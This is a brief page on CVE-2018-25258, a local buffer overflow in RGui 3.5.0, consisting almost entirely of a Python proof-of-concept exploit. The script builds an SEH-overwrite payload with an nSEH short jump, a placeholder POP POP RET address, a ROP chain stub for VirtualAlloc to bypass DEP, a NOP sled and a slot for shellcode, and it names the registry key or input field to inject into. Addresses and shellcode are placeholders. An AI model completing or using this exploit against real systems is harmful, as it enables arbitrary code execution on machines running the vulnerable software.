CVE-2018-25258 RGui本地缓冲区溢出漏洞

# This is a conceptual PoC for the buffer overflow in RGui 3.5.0 # It generates the malicious payload to trigger the SEH overwrite and DEP bypass. import struct # Bad characters (example) bad_chars = b"\x00\x0a\x0d" # Offset to SEH handler (needs to be calculated via debugging) offset_seh = 524 # POP POP RET address from a non-ASLR module (Example placeholder) # In a real scenario, find a reliable address from RGui's loaded DLLs (e.g., MSVCRT.dll) pop_pop_ret = struct.pack("<I", 0xAAAAAAAA) # ROP Chain to call VirtualAlloc # This is a simplified representation rop_chain = b"" rop_chain += struct.pack("<I", 0xBBBBBBBB) # Pivot rop_chain += struct.pack("<I", 0xCCCCCCCC) # VirtualAlloc # ... arguments for VirtualAlloc (lpAddress, dwSize, flAllocationType, flProtect) # Shellcode (Calc.exe example) shellcode = b"\x90" * 16 # shellcode += b"\x31\xc0..." (Real shellcode here) # Padding to align nseh = b"\xeb\x06\x90\x90" # jmp short 6 # Construct the payload payload = b"A" * offset_seh payload += nseh payload += pop_pop_ret payload += rop_chain payload += b"\x90" * 32 payload += shellcode payload += b"C" * (1000 - len(payload)) # Fill rest of buffer print(f"Payload Length: {len(payload)}") # This payload should be set in the 'Language for menus and messages' registry key or input field.